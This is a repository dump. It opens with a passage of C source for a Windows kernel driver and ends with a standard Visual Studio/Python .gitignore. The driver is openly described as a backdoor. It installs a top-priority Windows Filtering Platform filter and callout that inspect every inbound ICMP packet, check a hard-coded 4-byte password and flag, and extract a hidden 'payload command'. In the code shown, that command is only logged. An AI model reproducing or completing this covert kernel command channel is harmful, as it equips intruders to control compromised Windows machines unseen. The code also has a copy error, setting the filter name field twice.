119 | NET_BUFFER_LIST* fragmentList = (NET_BUFFER_LIST*)layerData;
120 |
121 | /* - https://learn.microsoft.com/en-us/windows-hardware/drivers/network/packet-indication-format states that the NET_BUFFER_LIST structure is a linked list
122 | * - Usually, each entry in the list describes a single fragment (https://learn.microsoft.com/en-us/windows-hardware/drivers/network/fragmented-net-buffer-list-structures)
123 | * - Our backdoor packets will never be fragmented -> we will only use the first entry
124 | * - https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/nbl/ns-nbl-net_buffer_list states that the linked list should ONLY be accessed through macros such as 'NET_BUFFER_LIST_FIRST_NB()'
125 | */
126 |
127 | // Retrieve the first fragment from the fragment list
128 | NET_BUFFER *firstFragment = NET_BUFFER_LIST_FIRST_NB(fragmentList);
129 |
130 | // Calculate required offsets
131 | ULONG icmpLength = firstFragment->DataLength; // Size of the ICMP packet
132 | UINT32 dataLength = icmpLength - 8; // ICMP data size = ICMP packet size - ICMP header size
133 | UINT32 payloadLength = dataLength - 4 - 1; // ICMP payload size = ICMP packet size - ICMP header size - 4 (password size) - 1 (flag size)
134 |
135 | //Data needs to have at least 5 bytes (length of the password - 1) and not exceed 1472 bytes (max ICMP data size before fragmentation)
136 | if (dataLength <= 4 || dataLength >= 1473) {
137 | KdPrint((" - [!] Discarding the packet due to invalid data length (%d).\n", dataLength));
138 | return;
139 | }
140 | KdPrint((" - Data length: %d.\n", dataLength));
141 |
142 | // Allocate memory for the ICMP packet
143 | PVOID icmpBuffer = ExAllocatePoolWithTag(POOL_FLAG_NON_PAGED, (SIZE_T)icmpLength, ALLOC_TAG_NAME);
144 | if (!icmpBuffer) {
145 | return;
146 | }
147 |
148 | // Read the bytes of the ICMP packet
149 | PBYTE icmpPacket = (PBYTE)NdisGetDataBuffer(firstFragment, (ULONG)icmpLength, icmpBuffer, 1, 0);
150 | if (!icmpPacket) {
151 | ExFreePoolWithTag((PVOID)icmpBuffer, ALLOC_TAG_NAME);
152 | return;
153 | }
154 |
155 | // Extract the password from the ICMP packet (first 4 bytes after the 8 byte ICMP header)
156 | BYTE icmpPassword[4] = { 0 };
157 | RtlCopyMemory(icmpPassword, &icmpPacket[8], 4);
158 |
159 | // Check if the password is valid
160 | if (!(
161 | icmpPassword[0] == PASSWORD[0] &&
162 | icmpPassword[1] == PASSWORD[1] &&
163 | icmpPassword[2] == PASSWORD[2] &&
164 | icmpPassword[3] == PASSWORD[3]
165 | )) {
166 |
167 | KdPrint((" - [!] Discarding the packet due to an invalid password - {0x%x, 0x%x, 0x%x, 0x%x}.\n", icmpPassword[0], icmpPassword[1], icmpPassword[2], icmpPassword[3]));
168 | return;
169 | }
170 |
171 | // Extract the flag from the ICMP packet (first byte after the password)
172 | BYTE icmpFlag = icmpPacket[12];
173 |
174 | // Check if the flag is valid
175 | if (!(
176 | icmpFlag == 0 ||
177 | icmpFlag == 1
178 | )) {
179 | KdPrint((" - [!] Discarding the packet due to an invalid flag - {0x%x}.\n", icmpFlag));
180 | return;
181 | }
182 |
183 |
184 | // Allocate memory for the payload
185 | LPSTR icmpPayload = ExAllocatePoolWithTag(POOL_FLAG_NON_PAGED, (SIZE_T)(payloadLength + 1), ALLOC_TAG_NAME); //+1 for '\0'
186 | if (!icmpPayload) {
187 | return;
188 | }
189 |
190 | // Extract the payload from the ICMP packet (bytes after the flag)
191 | RtlZeroMemory(icmpPayload, payloadLength + 1);
192 | RtlCopyMemory(icmpPayload, &icmpPacket[13], payloadLength);
193 |
194 | // Null terminate the payload for extra safety
195 | icmpPayload[payloadLength] = '\0';
196 |
197 | // Note that the KdPrint buffer is limited to 512 bytes (https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-dbgprint)
198 | KdPrint((" - Password: {0x%x, 0x%x, 0x%x, 0x%x}.\n", icmpPassword[0], icmpPassword[1], icmpPassword[2], icmpPassword[3]));
199 | KdPrint((" - Payload flag: {0x%x}.\n", icmpFlag));
200 | KdPrint((" - Payload command: %s.\n", icmpPayload));
201 |
202 | return;
203 | }
204 |
205 | NTSTATUS CalloutNotify(
206 | FWPS_CALLOUT_NOTIFY_TYPE notifyType,
207 | const GUID* filterKey,
208 | FWPS_FILTER* filter
209 | ) {
210 | UNREFERENCED_PARAMETER(notifyType);
211 | UNREFERENCED_PARAMETER(filterKey);
212 | UNREFERENCED_PARAMETER(filter);
213 |
214 | // Needs to be defined, but isn't required for anything.
215 | return STATUS_SUCCESS;
216 | }
217 |
218 | NTSTATUS SublayerAdd() {
219 | // https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_sublayer0
220 | FWPM_SUBLAYER sublayer = {
221 | .displayData.name = L"MaliciousSublayerName",
222 | .displayData.name = L"MaliciousSublayerDescription",
223 | .subLayerKey = SUB_LAYER_GUID, // Unique GUID that identifies the sublayer
224 | .weight = 65535, // Max UINT16 value, higher weight means higher priority
225 | };
226 |
227 | // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmsublayeradd0
228 | return FwpmSubLayerAdd(engineHandle, &sublayer, NULL);
229 | }
230 |
231 | NTSTATUS FilterAdd() {
232 | filterId = 0; // Initialize the filterId to 0
233 | UINT64 weightValue = 0xFFFFFFFFFFFFFFFF; // Max UINT64 value
234 | FWP_VALUE weight = { .type = FWP_UINT64, .uint64 = &weightValue }; // Weight variable, higher weight means higher priority
235 | FWPM_FILTER_CONDITION conditions[1] = { 0 }; // Filtering conditions can be empty, we want to process every ICMP packet
236 |
237 | // https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0
238 | FWPM_FILTER filter = {
239 | .displayData.name = L"MaliciousFilterCalloutName",
240 | .displayData.name = L"MaliciousFilterCalloutDescription",
241 | .layerKey = FWPM_LAYER_INBOUND_TRANSPORT_V4, // Needs to work on the same layer as our added callout
242 | .subLayerKey = SUB_LAYER_GUID, // Unique GUID that identifies the sublayer, GUID needs to be the same as the GUID of the added sublayer
243 | .weight = weight, // Weight variable, higher weight means higher priority
244 | .numFilterConditions = 0, // Number of filter conditions (we don't want to do any filtering)
245 | .filterCondition = conditions, // Empty conditions structure (we don't want to do any filtering)
246 | .action.type = FWP_ACTION_CALLOUT_INSPECTION, // We only want to inspect the packet (https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_action0)
247 | .action.calloutKey = CALLOUT_GUID,
248 | };
249 |
250 | // https://learn.microsoft.com/en-us/windows/win32/api/fwpmu/nf-fwpmu-fwpmfilteradd0
251 | return FwpmFilterAdd(engineHandle, &filter, NULL, &filterId);
252 | }
253 |
254 | VOID TermFilterDeviceObject() {
255 | KdPrint(("Terminating the device object.\n"));
256 |
257 | if (filterDeviceObject) {
258 |
259 | // Remove the filter device object
260 | IoDeleteDevice(filterDeviceObject);
261 | filterDeviceObject = NULL;
262 | }
263 | }
264 |
265 | VOID TermCalloutData() {
266 | KdPrint(("Terminating filters, sublayers and callouts.\n"));
267 |
268 | if (engineHandle) {
269 |
270 | // Remove the added filters and sublayers
271 | if (filterId) {
272 | FwpmFilterDeleteById(engineHandle, filterId);
273 | FwpmSubLayerDeleteByKey(engineHandle, &SUB_LAYER_GUID);
274 | filterId = 0;
275 | }
276 |
277 | // Remove the callout from the FWPM_LAYER_INBOUND_TRANSPORT_V4 layer
278 | if (addCalloutId) {
279 | FwpmCalloutDeleteById(engineHandle, addCalloutId);
280 | addCalloutId = 0;
281 | }
282 |
283 | // Unregister the callout
284 | if (registerCalloutId) {
285 | FwpsCalloutUnregisterById(registerCalloutId);
286 | registerCalloutId = 0;
287 | }
288 | }
289 | }
290 |
291 | VOID TermWfpEngine() {
292 | KdPrint(("Terminating the filter engine handle.\n"));
293 |
294 | if (engineHandle) {
295 |
296 | // Close the filter engine handle
297 | FwpmEngineClose(engineHandle);
298 | engineHandle = NULL;
299 | }
300 | }
301 |
302 | VOID WfpCleanup() {
303 | TermCalloutData();
304 | TermWfpEngine();
305 | TermFilterDeviceObject();
306 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
399 |
400 | .vscode/*
401 | !.vscode/settings.json
402 | !.vscode/tasks.json
403 | !.vscode/launch.json
404 | !.vscode/extensions.json
405 | !.vscode/*.code-snippets
406 |
407 | # Local History for Visual Studio Code
408 | .history/
409 |
410 | # Built Visual Studio Code Extensions
411 | *.vsix
412 |
413 | # General
414 | .DS_Store
415 | .AppleDouble
416 | .LSOverride
417 |
418 | # Icon must end with two \r
419 | Icon
420 |
421 | # Thumbnails
422 | ._*
423 |
424 | # Files that might appear in the root of a volume
425 | .DocumentRevisions-V100
426 | .fseventsd
427 | .Spotlight-V100
428 | .TemporaryItems
429 | .Trashes
430 | .VolumeIcon.icns
431 | .com.apple.timemachine.donotpresent
432 |
433 | # Directories potentially created on remote AFP share
434 | .AppleDB
435 | .AppleDesktop
436 | Network Trash Folder
437 | Temporary Items
438 | .apdisk
439 |
440 | # Byte-compiled / optimized / DLL files
441 | __pycache__/
442 | *.py[cod]
443 | *$py.class
444 |
445 | # C extensions
446 | *.so
447 |
448 | # Distribution / packaging
449 | .Python
450 | build/
451 | develop-eggs/
452 | dist/
453 | downloads/
454 | eggs/
455 | .eggs/
456 | lib/
457 | lib64/
458 | parts/
459 | sdist/
460 | var/
461 | wheels/
462 | share/python-wheels/
463 | *.egg-info/
464 | .installed.cfg
465 | *.egg
466 | MANIFEST
467 |
468 | # PyInstaller
469 | # Usually these files are written by a python script from a template
470 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
471 | *.manifest
472 | *.spec
473 |
474 | # Installer logs
475 | pip-log.txt
476 | pip-delete-this-directory.txt
477 |
478 | # Unit test / coverage reports
479 | htmlcov/
480 | .tox/
481 | .nox/
482 | .coverage
483 | .coverage.*
484 | .cache
485 | nosetests.xml
486 | coverage.xml
487 | *.cover
488 | *.py,cover
489 | .hypothesis/
490 | .pytest_cache/
491 | cover/
492 |
493 | # Translations
494 | *.mo
495 | *.pot
496 |
497 | # Django stuff:
498 | *.log
499 | local_settings.py
500 | db.sqlite3
501 | db.sqlite3-journal
502 |
503 | # Flask stuff:
504 | instance/
505 | .webassets-cache
506 |
507 | # Scrapy stuff:
508 | .scrapy
509 |
510 | # Sphinx documentation
511 | docs/_build/
512 |
513 | # PyBuilder
514 | .pybuilder/
515 | target/
516 |
517 | # Jupyter Notebook
518 | .ipynb_checkpoints
519 |
520 | # IPython
521 | profile_default/
522 | ipython_config.py
523 |
524 | # pyenv
525 | # For a library or package, you might want to ignore these files since the code is
526 | # intended to run in multiple environments; otherwise, check them in:
527 | # .python-version
528 |
529 | # pipenv
530 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
531 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
532 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
533 | # install all needed dependencies.
534 | #Pipfile.lock
535 |
536 | # poetry
537 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
538 | # This is especially recommended for binary packages to ensure reproducibility, and is more
539 | # commonly ignored for libraries.
540 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
541 | #poetry.lock
542 |
543 | # pdm
544 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
545 | #pdm.lock
546 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
547 | # in version control.
548 | # https://pdm.fming.dev/#use-with-ide
549 | .pdm.toml
550 |
551 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
552 | __pypackages__/
553 |
554 | # Celery stuff
555 | celerybeat-schedule
556 | celerybeat.pid
557 |
558 | # SageMath parsed files
559 | *.sage.py
560 |
561 | # Environments
562 | .env
563 | .venv
564 | env/
565 | venv/
566 | ENV/
567 | env.bak/
568 | venv.bak/
569 |
570 | # Spyder project settings
571 | .spyderproject
572 | .spyproject
573 |
574 | # Rope project settings
575 | .ropeproject
576 |
577 | # mkdocs documentation
578 | /site
579 |
580 | # mypy
581 | .mypy_cache/
582 | .dmypy.json
583 | dmypy.json
584 |
585 | # Pyre type checker
586 | .pyre/
587 |
588 | # pytype static type analyzer
589 | .pytype/
590 |
591 | # Cython debug symbols
592 | cython_debug/
593 |
594 | # PyCharm
595 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
596 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
597 | # and can be added to the global gitignore or merged into this file. For a more nuclear
598 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
599 | #.idea/
--------------------------------------------------------------------------------